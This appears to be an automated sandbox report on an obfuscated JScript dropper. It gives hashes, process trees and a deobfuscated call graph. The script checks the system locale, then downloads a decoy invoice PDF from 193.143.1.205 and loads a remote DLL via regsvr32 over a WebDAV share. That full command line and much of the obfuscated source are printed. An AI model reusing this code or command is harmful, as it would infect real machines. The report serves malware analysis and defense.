Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16542), with CRLF line terminators
Entropy (8bit):	4.898920031872432
TrID:
File name:	2486775641261320080.js
File size:	20'116 bytes
MD5:	0925a2b4e695a389c228a39d09faea5c
SHA1:	4de1eef87f8f077e2135cd69657e73c01af45f45
SHA256:	ecdad5f85ab00bfc6fbc0829d99cfba7367ae9492ef5b532b45d92e02b803ead
SHA512:	8cc3090b50061a7eb7f3b7164811fc62869f9a10751cfad078e5010c7c261a926eefbd47c67f5d792146e99e0c8177950608f14c9cecd475a416a1ef0010082c
SSDEEP:	384:j87c5b9x0pOs7ScaY7jhz/HQCq+xXE/4+VdRJ9usArI8jNLM50123oE:j8IFwOs7ScaY7jhz/HQCq+xXDknJ9u4j
TLSH:	78926207559D565EE9E90AF144BF0CE238EC80B9A2B081FD141E3D9D460F739DAF48B6
File Content Preview:	function knabhjphz(){ypriih=[1031,3079,5127,4103,2055,3072];var wdecxpcyf=this[qfjfgg+jjxumjux+ymirvwrg+nxptk+ucvhivb+ocfqrlngr+lefqgo+kckdivdls](this[opoeie+deuffcxwz+swqygu+ymirvwrg+fviqzmne+qfjfgg+kckdivdls][aibmymsjj+ymirvwrg+ucvhivb+jjxumjux+kckdivdl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	12:08:39
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js"
Imagebase:	0x7ff644d70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:08:40
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Imagebase:	0x7ff7d1140000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:08:40
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:08:40
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:08:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:08:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d1140000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:08:45
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff757700000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:08:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:08:46
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:08:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1684,i,14807154693622570894,10960876734372466403,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function knabhjphz() {	knabhjphz() ➔ undefined
1	ypriih = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wdecxpcyf = this[qfjfgg + jjxumjux + ymirvwrg + nxptk + ucvhivb + ocfqrlngr + lefqgo + kckdivdls] ( this[opoeie + deuffcxwz + swqygu + ymirvwrg + fviqzmne + qfjfgg + kckdivdls][aibmymsjj + ymirvwrg + ucvhivb + jjxumjux + kckdivdls + ucvhivb + obgps + uwyjcp + fvakjs + ucvhivb + swqygu + kckdivdls] ( opoeie + deuffcxwz + swqygu + ymirvwrg + fviqzmne + qfjfgg + kckdivdls + xfqlbwsa + deuffcxwz + nwfwr + ucvhivb + gigdozkxr + gigdozkxr ) [noszpgjs + ucvhivb + hnubhaqs + noszpgjs + ucvhivb + jjxumjux + zojrsnj] ( szoznv + kfoiwlh + lzvkh + cptayqjld + wilnq + aibmymsjj + xkqpklgv + noszpgjs + noszpgjs + lzvkh + uaxtgvvj + kdcmha + wilnq + xkqpklgv + deuffcxwz + lzvkh + noszpgjs + zsukzu + aibmymsjj + xelpwuvw + lefqgo + kckdivdls + ymirvwrg + xelpwuvw + gigdozkxr + olegkkci + whcpfq + jjxumjux + lefqgo + ucvhivb + gigdozkxr + zsukzu + ocfqrlngr + lefqgo + kckdivdls + ucvhivb + ymirvwrg + lefqgo + jjxumjux + kckdivdls + fviqzmne + xelpwuvw + lefqgo + jjxumjux + gigdozkxr + zsukzu + ibavjujqp + xelpwuvw + swqygu + jjxumjux + gigdozkxr + ucvhivb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fupfjem = 0 ; fupfjem < ypriih[gigdozkxr + ucvhivb + lefqgo + hnubhaqs + kckdivdls + nwfwr] ; ++ fupfjem )
4	{
5	if ( wdecxpcyf == ypriih[fupfjem] )
6	{
7	wdecxpcyf = true;
8	break ;
9	}
10	}
11	if ( wdecxpcyf !== true )
12	this[opoeie + deuffcxwz + swqygu + ymirvwrg + fviqzmne + qfjfgg + kckdivdls][pntii + fmbhvw + fviqzmne + kckdivdls] ( );
13	this[opoeie + deuffcxwz + swqygu + ymirvwrg + fviqzmne + qfjfgg + kckdivdls][aibmymsjj + ymirvwrg + ucvhivb + jjxumjux + kckdivdls + ucvhivb + obgps + uwyjcp + fvakjs + ucvhivb + swqygu + kckdivdls] ( opoeie + deuffcxwz + swqygu + ymirvwrg + fviqzmne + qfjfgg + kckdivdls + xfqlbwsa + deuffcxwz + nwfwr + ucvhivb + gigdozkxr + gigdozkxr ) [ymirvwrg + fmbhvw + lefqgo] ( swqygu + uyjhi + zojrsnj + olegkkci + wuhquhs + swqygu + olegkkci + qfjfgg + xelpwuvw + bmzusqdj + ucvhivb + ymirvwrg + nxptk + nwfwr + ucvhivb + gigdozkxr + gigdozkxr + xfqlbwsa + ucvhivb + quylzcvw + ucvhivb + olegkkci + ctrxhpsn + aibmymsjj + xelpwuvw + uyjhi + uyjhi + jjxumjux + lefqgo + zojrsnj + olegkkci + hkeuvi + ocfqrlngr + lefqgo + wdpwg + xelpwuvw + bthzzuhw + ucvhivb + ctrxhpsn + opoeie + ucvhivb + uwyjcp + noszpgjs + ucvhivb + nynjh + fmbhvw + ucvhivb + nxptk + kckdivdls + olegkkci + ctrxhpsn + obgps + fmbhvw + kckdivdls + mfbmvojf + fviqzmne + gigdozkxr + ucvhivb + olegkkci + yyjmwyn + kckdivdls + ucvhivb + uyjhi + qfjfgg + yyjmwyn + zsukzu + fviqzmne + lefqgo + wdpwg + xelpwuvw + fviqzmne + swqygu + ucvhivb + xfqlbwsa + qfjfgg + zojrsnj + owzjtd + olegkkci + nwfwr + kckdivdls + kckdivdls + qfjfgg + pqwbj + wuhquhs + wuhquhs + fkmyx + xgpskrqe + apbkcudxd + xfqlbwsa + fkmyx + jjpulsar + apbkcudxd + xfqlbwsa + fkmyx + xfqlbwsa + ryddw + drsdowru + jkvjbzrgb + wuhquhs + fviqzmne + lefqgo + wdpwg + xelpwuvw + fviqzmne + swqygu + ucvhivb + xfqlbwsa + qfjfgg + nwfwr + qfjfgg + hkeuvi + dbmgrojqj + dbmgrojqj + nxptk + kckdivdls + jjxumjux + ymirvwrg + kckdivdls + olegkkci + yyjmwyn + kckdivdls + ucvhivb + uyjhi + qfjfgg + yyjmwyn + zsukzu + fviqzmne + lefqgo + wdpwg + xelpwuvw + fviqzmne + swqygu + ucvhivb + xfqlbwsa + qfjfgg + zojrsnj + owzjtd + dbmgrojqj + dbmgrojqj + swqygu + uyjhi + zojrsnj + olegkkci + wuhquhs + swqygu + olegkkci + lefqgo + ucvhivb + kckdivdls + olegkkci + fmbhvw + nxptk + ucvhivb + olegkkci + zsukzu + zsukzu + fkmyx + xgpskrqe + apbkcudxd + xfqlbwsa + fkmyx + jjpulsar + apbkcudxd + xfqlbwsa + fkmyx + xfqlbwsa + ryddw + drsdowru + jkvjbzrgb + ubjqzl + iefmb + iefmb + iefmb + iefmb + zsukzu + zojrsnj + jjxumjux + wdpwg + bmzusqdj + bmzusqdj + bmzusqdj + ymirvwrg + xelpwuvw + xelpwuvw + kckdivdls + zsukzu + dbmgrojqj + dbmgrojqj + swqygu + uyjhi + zojrsnj + olegkkci + wuhquhs + swqygu + olegkkci + ymirvwrg + ucvhivb + hnubhaqs + nxptk + wdpwg + ymirvwrg + apbkcudxd + ryddw + olegkkci + wuhquhs + nxptk + olegkkci + zsukzu + zsukzu + fkmyx + xgpskrqe + apbkcudxd + xfqlbwsa + fkmyx + jjpulsar + apbkcudxd + xfqlbwsa + fkmyx + xfqlbwsa + ryddw + drsdowru + jkvjbzrgb + ubjqzl + iefmb + iefmb + iefmb + iefmb + zsukzu + zojrsnj + jjxumjux + wdpwg + bmzusqdj + bmzusqdj + bmzusqdj + ymirvwrg + xelpwuvw + xelpwuvw + kckdivdls + zsukzu + ryddw + vxdkcmw + vxdkcmw + jjpulsar + vxdkcmw + ryddw + drsdowru + apbkcudxd + drsdowru + drsdowru + iefmb + xgpskrqe + ecmedhjtw + fkmyx + xfqlbwsa + zojrsnj + gigdozkxr + gigdozkxr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll",0,false) ➔ 0
14	}
15	olegkkci = "g";
16	olegkkci = "t";
17	olegkkci = "S";
18	olegkkci = "Y";
19	olegkkci = "q";
20	olegkkci = "r";
21	olegkkci = "B";
22	olegkkci = "a";
23	olegkkci = " ";
24	cptayqjld = "e";
25	cptayqjld = "s";
26	cptayqjld = "Z";
27	cptayqjld = "a";
28	cptayqjld = "D";
29	cptayqjld = "a";
30	cptayqjld = "I";
31	cptayqjld = "u";
32	cptayqjld = "y";
33	cptayqjld = "I";
34	cptayqjld = "R";
35	cptayqjld = "L";
36	cptayqjld = "Y";
37	noszpgjs = "c";
38	noszpgjs = "d";
39	noszpgjs = "B";
40	noszpgjs = "y";
41	noszpgjs = "t";
42	noszpgjs = "u";
43	noszpgjs = "L";
44	noszpgjs = "i";
45	noszpgjs = "Z";
46	noszpgjs = "D";
47	noszpgjs = "y";
48	noszpgjs = "D";
49	noszpgjs = "r";
50	noszpgjs = "c";
51	noszpgjs = "M";
52	noszpgjs = "r";
53	noszpgjs = "k";
54	noszpgjs = "Q";
55	noszpgjs = "b";
56	noszpgjs = "s";
57	noszpgjs = "v";
58	noszpgjs = "A";
59	noszpgjs = "s";
60	noszpgjs = "a";
61	noszpgjs = "K";
62	noszpgjs = "R";
63	jjxumjux = "w";
64	jjxumjux = "n";
65	jjxumjux = "Z";
66	jjxumjux = "z";
67	jjxumjux = "w";
68	jjxumjux = "V";
69	jjxumjux = "N";
70	jjxumjux = "h";
71	jjxumjux = "T";
72	jjxumjux = "z";
73	jjxumjux = "Q";
74	jjxumjux = "I";
75	jjxumjux = "a";
76	jjxumjux = "h";
77	jjxumjux = "R";
78	jjxumjux = "Q";
79	jjxumjux = "v";
80	jjxumjux = "I";
81	jjxumjux = "g";
82	jjxumjux = "L";
83	jjxumjux = "C";
84	jjxumjux = "H";
85	jjxumjux = "x";
86	jjxumjux = "g";
87	jjxumjux = "P";
88	jjxumjux = "x";
89	jjxumjux = "q";
90	jjxumjux = "H";
91	jjxumjux = "Z";
92	jjxumjux = "O";
93	jjxumjux = "L";
94	jjxumjux = "t";
95	jjxumjux = "x";
96	jjxumjux = "C";
97	jjxumjux = "S";
98	jjxumjux = "P";
99	jjxumjux = "a";
100	ecmedhjtw = "N";
101	ecmedhjtw = "D";
102	ecmedhjtw = "w";
103	ecmedhjtw = "j";
104	ecmedhjtw = "X";
105	ecmedhjtw = "L";
106	ecmedhjtw = "j";
107	ecmedhjtw = "P";
108	ecmedhjtw = "W";
109	ecmedhjtw = "7";
110	ryddw = "n";
111	ryddw = "v";
112	ryddw = "A";
113	ryddw = "m";
114	ryddw = "T";
115	ryddw = "F";
116	ryddw = "c";
117	ryddw = "w";
118	ryddw = "H";
119	ryddw = "V";
120	ryddw = "Q";
121	ryddw = "M";
122	ryddw = "F";
123	ryddw = "a";
124	ryddw = "l";
125	ryddw = "x";
126	ryddw = "o";
127	ryddw = "2";
128	wilnq = "w";
129	wilnq = "h";
130	wilnq = "I";
131	wilnq = "N";
132	wilnq = "p";
133	wilnq = "f";
134	wilnq = "Q";
135	wilnq = "_";
136	fmbhvw = "B";
137	fmbhvw = "j";
138	fmbhvw = "y";
139	fmbhvw = "Q";
140	fmbhvw = "R";
141	fmbhvw = "u";
142	ctrxhpsn = "q";
143	ctrxhpsn = "-";
144	hnubhaqs = "Z";
145	hnubhaqs = "u";
146	hnubhaqs = "W";
147	hnubhaqs = "a";
148	hnubhaqs = "u";
149	hnubhaqs = "x";
150	hnubhaqs = "I";
151	hnubhaqs = "p";
152	hnubhaqs = "f";
153	hnubhaqs = "G";
154	hnubhaqs = "r";
155	hnubhaqs = "i";
156	hnubhaqs = "X";
157	hnubhaqs = "y";
158	hnubhaqs = "e";
159	hnubhaqs = "g";
160	kckdivdls = "a";
161	kckdivdls = "Z";
162	kckdivdls = "l";
163	kckdivdls = "b";
164	kckdivdls = "x";
165	kckdivdls = "a";
166	kckdivdls = "i";
167	kckdivdls = "W";
168	kckdivdls = "y";
169	kckdivdls = "E";
170	kckdivdls = "m";
171	kckdivdls = "p";
172	kckdivdls = "J";
173	kckdivdls = "r";
174	kckdivdls = "F";
175	kckdivdls = "g";
176	kckdivdls = "t";
177	swqygu = "m";
178	swqygu = "y";
179	swqygu = "F";
180	swqygu = "B";
181	swqygu = "K";
182	swqygu = "i";
183	swqygu = "m";
184	swqygu = "g";
185	swqygu = "c";
186	opoeie = "x";
187	opoeie = "V";
188	opoeie = "x";
189	opoeie = "E";
190	opoeie = "M";
191	opoeie = "z";
192	opoeie = "l";
193	opoeie = "V";
194	opoeie = "i";
195	opoeie = "S";
196	opoeie = "Y";
197	opoeie = "S";
198	opoeie = "z";
199	opoeie = "v";
200	opoeie = "s";
201	opoeie = "n";
202	opoeie = "c";
203	opoeie = "E";
204	opoeie = "s";
205	opoeie = "Q";
206	opoeie = "K";
207	opoeie = "s";
208	opoeie = "C";
209	opoeie = "s";
210	opoeie = "r";
211	opoeie = "b";
212	opoeie = "v";
213	opoeie = "x";
214	opoeie = "y";
215	opoeie = "z";
216	opoeie = "P";
217	opoeie = "Q";
218	opoeie = "Q";
219	opoeie = "V";
220	opoeie = "u";
221	opoeie = "h";
222	opoeie = "W";
223	opoeie = "s";
224	opoeie = "s";
225	opoeie = "L";
226	opoeie = "W";
227	ucvhivb = "Z";
228	ucvhivb = "e";
229	ucvhivb = "o";
230	ucvhivb = "w";
231	ucvhivb = "v";
232	ucvhivb = "l";
233	ucvhivb = "h";
234	ucvhivb = "c";
235	ucvhivb = "Q";
236	ucvhivb = "T";
237	ucvhivb = "m";
238	ucvhivb = "l";
239	ucvhivb = "c";
240	ucvhivb = "H";
241	ucvhivb = "i";
242	ucvhivb = "q";
243	ucvhivb = "v";
244	ucvhivb = "C";
245	ucvhivb = "e";
246	uwyjcp = "h";
247	uwyjcp = "J";
248	uwyjcp = "I";
249	uwyjcp = "n";
250	uwyjcp = "p";
251	uwyjcp = "l";
252	uwyjcp = "z";
253	uwyjcp = "j";
254	uwyjcp = "H";
255	uwyjcp = "Y";
256	uwyjcp = "p";
257	uwyjcp = "Z";
258	uwyjcp = "B";
259	uwyjcp = "Z";
260	uwyjcp = "P";
261	uwyjcp = "n";
262	uwyjcp = "b";
263	obgps = "i";
264	obgps = "b";
265	obgps = "M";
266	obgps = "X";
267	obgps = "D";
268	obgps = "j";
269	obgps = "z";
270	obgps = "x";
271	obgps = "s";
272	obgps = "f";
273	obgps = "z";
274	obgps = "y";
275	obgps = "N";
276	obgps = "I";
277	obgps = "d";
278	obgps = "W";
279	obgps = "G";
280	obgps = "Z";
281	obgps = "M";
282	obgps = "Y";
283	obgps = "j";
284	obgps = "a";
285	obgps = "O";
286	obgps = "Y";
287	obgps = "v";
288	obgps = "x";
289	obgps = "V";
290	obgps = "d";
291	obgps = "U";
292	obgps = "e";
293	obgps = "O";
294	szoznv = "f";
295	szoznv = "S";
296	szoznv = "w";
297	szoznv = "A";
298	szoznv = "b";
299	szoznv = "R";
300	szoznv = "B";
301	szoznv = "u";
302	szoznv = "s";
303	szoznv = "S";
304	szoznv = "p";
305	szoznv = "C";
306	szoznv = "B";
307	szoznv = "B";
308	szoznv = "M";
309	szoznv = "b";
310	szoznv = "i";
311	szoznv = "x";
312	szoznv = "H";
313	szoznv = "V";
314	szoznv = "y";
315	szoznv = "C";
316	szoznv = "u";
317	szoznv = "o";
318	szoznv = "p";
319	szoznv = "e";
320	szoznv = "S";
321	szoznv = "v";
322	szoznv = "y";
323	szoznv = "z";
324	szoznv = "U";
325	szoznv = "u";
326	szoznv = "d";
327	szoznv = "d";
328	szoznv = "q";
329	szoznv = "A";
330	szoznv = "k";
331	szoznv = "Y";
332	szoznv = "N";
333	szoznv = "H";
334	ocfqrlngr = "M";
335	ocfqrlngr = "H";
336	ocfqrlngr = "f";
337	ocfqrlngr = "J";
338	ocfqrlngr = "R";
339	ocfqrlngr = "F";
340	ocfqrlngr = "j";
341	ocfqrlngr = "Z";
342	ocfqrlngr = "q";
343	ocfqrlngr = "q";
344	ocfqrlngr = "G";
345	ocfqrlngr = "v";
346	ocfqrlngr = "S";
347	ocfqrlngr = "u";
348	ocfqrlngr = "c";
349	ocfqrlngr = "L";
350	ocfqrlngr = "i";
351	ocfqrlngr = "C";
352	ocfqrlngr = "D";
353	ocfqrlngr = "z";
354	ocfqrlngr = "Z";
355	ocfqrlngr = "m";
356	ocfqrlngr = "w";
357	ocfqrlngr = "A";
358	ocfqrlngr = "I";
359	ocfqrlngr = "y";
360	ocfqrlngr = "X";
361	ocfqrlngr = "d";
362	ocfqrlngr = "z";
363	ocfqrlngr = "B";
364	ocfqrlngr = "R";
365	ocfqrlngr = "c";
366	ocfqrlngr = "K";
367	ocfqrlngr = "h";
368	ocfqrlngr = "e";
369	ocfqrlngr = "D";
370	ocfqrlngr = "y";
371	ocfqrlngr = "x";
372	ocfqrlngr = "I";
373	quylzcvw = "m";
374	quylzcvw = "F";
375	quylzcvw = "e";
376	quylzcvw = "R";
377	quylzcvw = "S";
378	quylzcvw = "E";
379	quylzcvw = "x";
380	quylzcvw = "V";
381	quylzcvw = "x";
382	wuhquhs = "b";
383	wuhquhs = "j";
384	wuhquhs = "/";
385	ubjqzl = "u";
386	ubjqzl = "i";
387	ubjqzl = "u";
388	ubjqzl = "l";
389	ubjqzl = "W";
390	ubjqzl = "w";
391	ubjqzl = "R";
392	ubjqzl = "Z";
393	ubjqzl = "b";
394	ubjqzl = "g";
395	ubjqzl = "F";
396	ubjqzl = "p";
397	ubjqzl = "S";
398	ubjqzl = "N";
399	ubjqzl = "W";
400	ubjqzl = "k";
401	ubjqzl = "y";
402	ubjqzl = "F";
403	ubjqzl = "l";
404	ubjqzl = "x";
405	ubjqzl = "B";
406	ubjqzl = "P";
407	ubjqzl = "Z";
408	ubjqzl = "E";
409	ubjqzl = "W";
410	ubjqzl = "r";
411	ubjqzl = "w";
412	ubjqzl = "z";
413	ubjqzl = "n";
414	ubjqzl = "@";
415	ymirvwrg = "J";
416	ymirvwrg = "k";
417	ymirvwrg = "M";
418	ymirvwrg = "D";
419	ymirvwrg = "I";
420	ymirvwrg = "f";
421	ymirvwrg = "L";
422	ymirvwrg = "m";
423	ymirvwrg = "z";
424	ymirvwrg = "L";
425	ymirvwrg = "c";
426	ymirvwrg = "m";
427	ymirvwrg = "S";
428	ymirvwrg = "F";
429	ymirvwrg = "E";
430	ymirvwrg = "d";
431	ymirvwrg = "A";
432	ymirvwrg = "F";
433	ymirvwrg = "X";
434	ymirvwrg = "O";
435	ymirvwrg = "D";
436	ymirvwrg = "Q";
437	ymirvwrg = "m";
438	ymirvwrg = "W";
439	ymirvwrg = "J";
440	ymirvwrg = "U";
441	ymirvwrg = "V";
442	ymirvwrg = "d";
443	ymirvwrg = "K";
444	ymirvwrg = "b";
445	ymirvwrg = "Q";
446	ymirvwrg = "Y";
447	ymirvwrg = "d";
448	ymirvwrg = "x";
449	ymirvwrg = "r";
450	nwfwr = "M";
451	nwfwr = "O";
452	nwfwr = "F";
453	nwfwr = "g";
454	nwfwr = "O";
455	nwfwr = "a";
456	nwfwr = "g";
457	nwfwr = "c";
458	nwfwr = "c";
459	nwfwr = "b";
460	nwfwr = "S";
461	nwfwr = "W";
462	nwfwr = "f";
463	nwfwr = "Z";
464	nwfwr = "Q";
465	nwfwr = "N";
466	nwfwr = "K";
467	nwfwr = "o";
468	nwfwr = "w";
469	nwfwr = "x";
470	nwfwr = "D";
471	nwfwr = "c";
472	nwfwr = "S";
473	nwfwr = "v";
474	nwfwr = "e";
475	nwfwr = "o";
476	nwfwr = "l";
477	nwfwr = "x";
478	nwfwr = "Y";
479	nwfwr = "s";
480	nwfwr = "i";
481	nwfwr = "G";
482	nwfwr = "z";
483	nwfwr = "Q";
484	nwfwr = "X";
485	nwfwr = "j";
486	nwfwr = "X";
487	nwfwr = "a";
488	nwfwr = "D";
489	nwfwr = "l";
490	nwfwr = "h";
491	xkqpklgv = "m";
492	xkqpklgv = "Y";
493	xkqpklgv = "D";
494	xkqpklgv = "O";
495	xkqpklgv = "g";
496	xkqpklgv = "K";
497	xkqpklgv = "r";
498	xkqpklgv = "Z";
499	xkqpklgv = "w";
500	xkqpklgv = "T";
501	xkqpklgv = "i";
502	xkqpklgv = "a";
503	xkqpklgv = "N";
504	xkqpklgv = "e";
505	xkqpklgv = "R";
506	xkqpklgv = "L";
507	xkqpklgv = "g";
508	xkqpklgv = "o";
509	xkqpklgv = "U";
510	xkqpklgv = "i";
511	xkqpklgv = "I";
512	xkqpklgv = "x";
513	xkqpklgv = "S";
514	xkqpklgv = "T";
515	xkqpklgv = "E";
516	xkqpklgv = "U";
517	pqwbj = "x";
518	pqwbj = "e";
519	pqwbj = "O";
520	pqwbj = "g";
521	pqwbj = "g";
522	pqwbj = "S";
523	pqwbj = "o";
524	pqwbj = "f";
525	pqwbj = "T";
526	pqwbj = "c";
527	pqwbj = "W";
528	pqwbj = "k";
529	pqwbj = "o";
530	pqwbj = "U";
531	pqwbj = "c";
532	pqwbj = "F";
533	pqwbj = "T";
534	pqwbj = "w";
535	pqwbj = "o";
536	pqwbj = "L";
537	pqwbj = "x";
538	pqwbj = "k";
539	pqwbj = "F";
540	pqwbj = "J";
541	pqwbj = "E";
542	pqwbj = "Z";
543	pqwbj = "j";
544	pqwbj = "h";
545	pqwbj = "S";
546	pqwbj = "C";
547	pqwbj = "r";
548	pqwbj = "p";
549	pqwbj = ":";
550	qfjfgg = "Q";
551	qfjfgg = "f";
552	qfjfgg = "Q";
553	qfjfgg = "X";
554	qfjfgg = "f";
555	qfjfgg = "B";
556	qfjfgg = "q";
557	qfjfgg = "D";
558	qfjfgg = "x";
559	qfjfgg = "z";
560	qfjfgg = "y";
561	qfjfgg = "q";
562	qfjfgg = "c";
563	qfjfgg = "d";
564	qfjfgg = "n";
565	qfjfgg = "x";
566	qfjfgg = "e";
567	qfjfgg = "P";
568	qfjfgg = "h";
569	qfjfgg = "F";
570	qfjfgg = "E";
571	qfjfgg = "f";
572	qfjfgg = "S";
573	qfjfgg = "J";
574	qfjfgg = "X";
575	qfjfgg = "x";
576	qfjfgg = "D";
577	qfjfgg = "E";
578	qfjfgg = "R";
579	qfjfgg = "A";
580	qfjfgg = "e";
581	qfjfgg = "b";
582	qfjfgg = "v";
583	qfjfgg = "L";
